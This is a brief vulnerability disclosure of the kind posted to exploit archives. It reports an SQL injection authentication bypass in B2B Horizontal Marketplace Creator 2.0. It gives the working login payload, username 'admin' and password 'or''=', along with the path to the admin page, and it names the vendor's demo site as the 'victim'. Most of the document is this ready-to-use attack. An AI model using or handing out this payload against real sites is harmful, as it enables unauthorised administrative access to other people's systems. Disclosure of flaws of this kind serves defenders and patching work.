B2B Horizontal Marketplace Creator version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
4c9c43857cd8efdf4b5f9c0984291c17ab0ca9db33e62441a170cf4fd1e7a6e5
#########################################################
---------------------------------------------------------
Portal Name: B2B Horizontal Marketplace Creator
Version: 2.0
Vendor: http://www.etoshop.com
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: admin
pass: 'or''='
admin page : http://site.com/[path]/admin.asp
-----------------------------------
Victem :
http://etoshop.com/demo/B2BHorizontalMarketPlace
---------------------------------------------------------
#########################################################